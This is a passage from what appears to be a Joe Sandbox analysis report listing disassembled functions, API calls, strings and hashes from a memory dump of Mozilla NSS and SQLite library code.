PK11_FreeSymKey.NSS3(?), ref: 6CE8101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE81033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE8103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CE81048
memcpy.VCRUNTIME140(?,?,?), ref: 6CE8108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CE810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CE8112E

Part of subcall function 6CE81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CE808C4,?,?), ref: 6CE815B8
Part of subcall function 6CE81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CE808C4,?,?), ref: 6CE815C1
Part of subcall function 6CE81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8162E
Part of subcall function 6CE81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE81637

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 945937c30c27299e4826ef4a8fee286c7c6102f1509ae689ac06485511abcb1c
Instruction ID: ee95460b732dcdeda674b5ecb99ccf2f091e856f5444a76199bed9fb154f7a26
Opcode Fuzzy Hash: 945937c30c27299e4826ef4a8fee286c7c6102f1509ae689ac06485511abcb1c
Instruction Fuzzy Hash: 3671BEB1E012058FDB00CFA5DC85AAAB7B1BF4831CF24862DE92D9BB11E771D945CB91

Function 6CEA1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEA1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEA2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEA228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEA23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEA241C

Strings

model, xrefs: 6CEA23CB, 6CEA23EC
manufacturer, xrefs: 6CEA2179
token, xrefs: 6CEA1F2C
serial, xrefs: 6CEA22A2

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 148ec224c97f453c62b7c83c734db7289d39e5254ad1426fb6216a7d16a1e360
Instruction ID: 79cc6aca0e35137016967467bba8ea43eb640b374c7e36260348f0c70a70ef56
Opcode Fuzzy Hash: 148ec224c97f453c62b7c83c734db7289d39e5254ad1426fb6216a7d16a1e360
Instruction Fuzzy Hash: DE02E062D0C7C85EF73186B2C44D3D77AF09B5632CF2816ADCA9E5AB83C3A8554A8351

Function 6CEA6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C3F

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C60
PR_ExplodeTime.NSS3(00000000,6CE51C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C94

Strings

gfff, xrefs: 6CEA6CFD
gfff, xrefs: 6CEA6D30
gfff, xrefs: 6CEA6D66
gfff, xrefs: 6CEA6CF5
gfff, xrefs: 6CEA6D9C

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 4f132c6fac2031c5df431df3db1386cad0a2d39d08206d0316178c4206d18f1b
Instruction ID: 61a6e16ab44259ae0d5f09a99504153596908daf6c4d2cc3f3f95a9a31ebbc7a
Opcode Fuzzy Hash: 4f132c6fac2031c5df431df3db1386cad0a2d39d08206d0316178c4206d18f1b
Instruction Fuzzy Hash: DB514B72B015494FC708CDADDC526DAB7EA9BA5310F48C23AE441DF781D638E907C751

Function 6CF20F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF21027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF21353

Strings

%lld, xrefs: 6CF2114B
zeroblob(%d), xrefs: 6CF21223
-- , xrefs: 6CF20FF5
'%.*q', xrefs: 6CF21217, 6CF21292
$, xrefs: 6CF212A0
NULL, xrefs: 6CF2119E
%02x, xrefs: 6CF212F6

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 250e005a28ed34b2a4486acf07abd181729414045119b695802923b7501c91f9
Instruction ID: c44fe1d973f415f5cc5bc02b7b40eaa024c7da7cf70a36dc92272e41624eb357
Opcode Fuzzy Hash: 250e005a28ed34b2a4486acf07abd181729414045119b695802923b7501c91f9
Instruction Fuzzy Hash: 3BE1C071A083809FD710CF94C480A6BBBF5AF85348F15892DF98587B61D77AEC45CB46

Function 6CF28FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF28FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF29118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF2915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF29209

Strings

UUUU, xrefs: 6CF29255
3333, xrefs: 6CF2925E

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 6a2ce4fd62753a4eaf7c9b6fc591404954b2f88386e878c534cf8bbb6e7f1d4a
Instruction ID: a53b5eae5a3c014a2453a63ce69136fae9c83ba6ba4c86c25b9040c910f746a4
Opcode Fuzzy Hash: 6a2ce4fd62753a4eaf7c9b6fc591404954b2f88386e878c534cf8bbb6e7f1d4a
Instruction Fuzzy Hash: BFA19172E001199BDB04CBA9CC91B9EB7B5BF48324F094139D915A7791EB3AED01CBE1

Function 6CDE0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CDE103E
EnterCriticalSection.KERNEL32(?), ref: 6CDE1139
LeaveCriticalSection.KERNEL32(?), ref: 6CDE1190
sqlite3_free.NSS3(00000000), ref: 6CDE1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CDE126E
sqlite3_free.NSS3(?), ref: 6CDE127F

Strings

winAccess, xrefs: 6CDE129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CDE1267

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: adcda9881fff8dfcc5f134416fed87c26f65433067b2e0c5e8d631f4c6dc2b07
Instruction ID: 3d6730a5d28ef8fc9085c22270669683472ee0166d4240a13e46bcaf1b5a39b0
Opcode Fuzzy Hash: adcda9881fff8dfcc5f134416fed87c26f65433067b2e0c5e8d631f4c6dc2b07
Instruction Fuzzy Hash: 0C715932F05201DBEB449F65EC95B6F77B5FF8A364F14422AE82187AA1DB30D804C792

Function 6CDEAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31,?,?,?,?,?,?,?), ref: 6CDEB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31), ref: 6CDEB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31), ref: 6CDEB0A2
CloseHandle.KERNEL32(?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31,?,?,?,?,?,?,?,?,?), ref: 6CDEB100
sqlite3_free.NSS3(?,?,00000002,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31,?,?,?,?,?,?,?), ref: 6CDEB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31), ref: 6CDEB12D

Part of subcall function 6CDD9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CDEC6FD,?,?,?,?,6CE3F965,00000000), ref: 6CDD9F0E
Part of subcall function 6CDD9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE3F965,00000000), ref: 6CDD9F5D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 075e1b0656cbc6bb3f7c9a5791404c036f85ba2ec440469872315acd00a52af4
Instruction ID: 3c6a2e48616d37d52c03b8499f1b3bcd56ead2f1bb507518e1602e4408a5de1d
Opcode Fuzzy Hash: 075e1b0656cbc6bb3f7c9a5791404c036f85ba2ec440469872315acd00a52af4
Instruction Fuzzy Hash: 19919CB0A04306CFDB14CF65D884B6ABBF1BF49308B15462DE45A97AA0EB31F854CB55

Function 6CEBBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEBBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEBBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEBBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEBBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CEBBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CEBBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CEBBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CEBBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CEBBE1E

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 5392c736ba6902ef68a80cdde62d39b06d1a7baf0cc775c87f7ccdbf5adc54c7
Instruction ID: d1c4a05365ce5bebdca318dcd5bc456dfec734d83745c0f98880007dd7ff427a
Opcode Fuzzy Hash: 5392c736ba6902ef68a80cdde62d39b06d1a7baf0cc775c87f7ccdbf5adc54c7
Instruction Fuzzy Hash: 7221C3B6E0428D57FB0046969F82BAB32749BD174DF180128F916FE741E734E41886A6

Function 6CF68D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFB14E4,6CF1CC70), ref: 6CF68D47
PR_GetCurrentThread.NSS3 ref: 6CF68D98

Part of subcall function 6CE40F00: PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B
Part of subcall function 6CE40F00: PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF68E7B
htons.WSOCK32(?), ref: 6CF68EDB
PR_GetCurrentThread.NSS3 ref: 6CF68F99
PR_GetCurrentThread.NSS3 ref: 6CF6910A

Strings

%u.%u.%u.%u, xrefs: 6CF68E74

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 02a5e41b5664282af55d290f63711198211fc03a269c8f4fd842f071cbfc445b
Instruction ID: 52aab40ff11648b59b3b98b1bab3d12e7c68ef6635f138cab78def9e959ef2e1
Opcode Fuzzy Hash: 02a5e41b5664282af55d290f63711198211fc03a269c8f4fd842f071cbfc445b
Instruction Fuzzy Hash: 04029B329052518FDB18CF1AC4687A6BBB2EF43314F2A825ED8915FF91CB35DA45C790

Function 6CEE68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CEE68FC
PR_EnterMonitor.NSS3 ref: 6CEE6924

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

PR_EnterMonitor.NSS3 ref: 6CEE693E
TlsGetValue.KERNEL32 ref: 6CEE6977
TlsGetValue.KERNEL32 ref: 6CEE69B8
PR_ExitMonitor.NSS3 ref: 6CEE6B1E
PR_ExitMonitor.NSS3 ref: 6CEE6B39
TlsGetValue.KERNEL32 ref: 6CEE6B62

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 3e56d30cfc07f300f2477ae74da12888b75c6f43cc21d7739452e1ed8f86648d
Instruction ID: e0ba463cfadd756f6fab5902abead93c05ddc2d129d04e03f5cf4dbee5a8dba8
Opcode Fuzzy Hash: 3e56d30cfc07f300f2477ae74da12888b75c6f43cc21d7739452e1ed8f86648d
Instruction Fuzzy Hash: 2B918F74658104CBDBA0EF2DC48065D7BBAFB8B398B71C259C9448BB1DD771D942CB82

Function 6CDEEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6CDEF957, 6CDEF9BA
there is already an index named %s, xrefs: 6CDEF9D7
table, xrefs: 6CDEF05C, 6CDEFABC, 6CDEFAC7
sqlite_master, xrefs: 6CDEF0AB, 6CDEF2DA, 6CDEF757, 6CDEF93E
%s %T already exists, xrefs: 6CDEFAC8
view, xrefs: 6CDEF061, 6CDEF071, 6CDEFAB7
temporary table name must be unqualified, xrefs: 6CDEF734
sqlite_temp_master, xrefs: 6CDEF0A6, 6CDEF2D5
authorizer malfunction, xrefs: 6CDEF95C, 6CDEF9BF, 6CDEFA5E, 6CDEFA8B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 49921d1d8e68e5f4776704f23c2dc9565a8864a2deed8debcbe8e447627e915d
Instruction ID: 104d9cd9feab2ca294bce02720db28cc838c367f5d004b2ba373b230f161255a
Opcode Fuzzy Hash: 49921d1d8e68e5f4776704f23c2dc9565a8864a2deed8debcbe8e447627e915d
Instruction Fuzzy Hash: 15729070E04205CFDB14CF68D480BAABBF2BF4D308F1581AED8599BB62D775A845CB90

Function 6CF09C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CDDC52B), ref: 6CF09D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF0A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF0A114

Strings

%s at line %d of [%.10s], xrefs: 6CF0A02E, 6CF0A10D
database corruption, xrefs: 6CF0A029, 6CF0A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF0A01F, 6CF0A0E4, 6CF0A0FE

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 23a6ffd791ff30219814a90a4105c85b0a979b5bf20e251fb092ac2e75977b36
Instruction ID: 4fe51fb8c138c70abceeebefdffc15bb5d1646ed4dc85628d55da7dd35920cc2
Opcode Fuzzy Hash: 23a6ffd791ff30219814a90a4105c85b0a979b5bf20e251fb092ac2e75977b36
Instruction Fuzzy Hash: 7C22AE717093419FC704CF29C4A062BB7E1BFCAB44F148A2DE8DA97A51EB31D945DB42

Function 6CF29D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CDE8637,?,?), ref: 6CF29E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CDE8637), ref: 6CF29ED6

Strings

%s at line %d of [%.10s], xrefs: 6CF29ECF
database corruption, xrefs: 6CF29ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF29EC0

Memory Dump Source

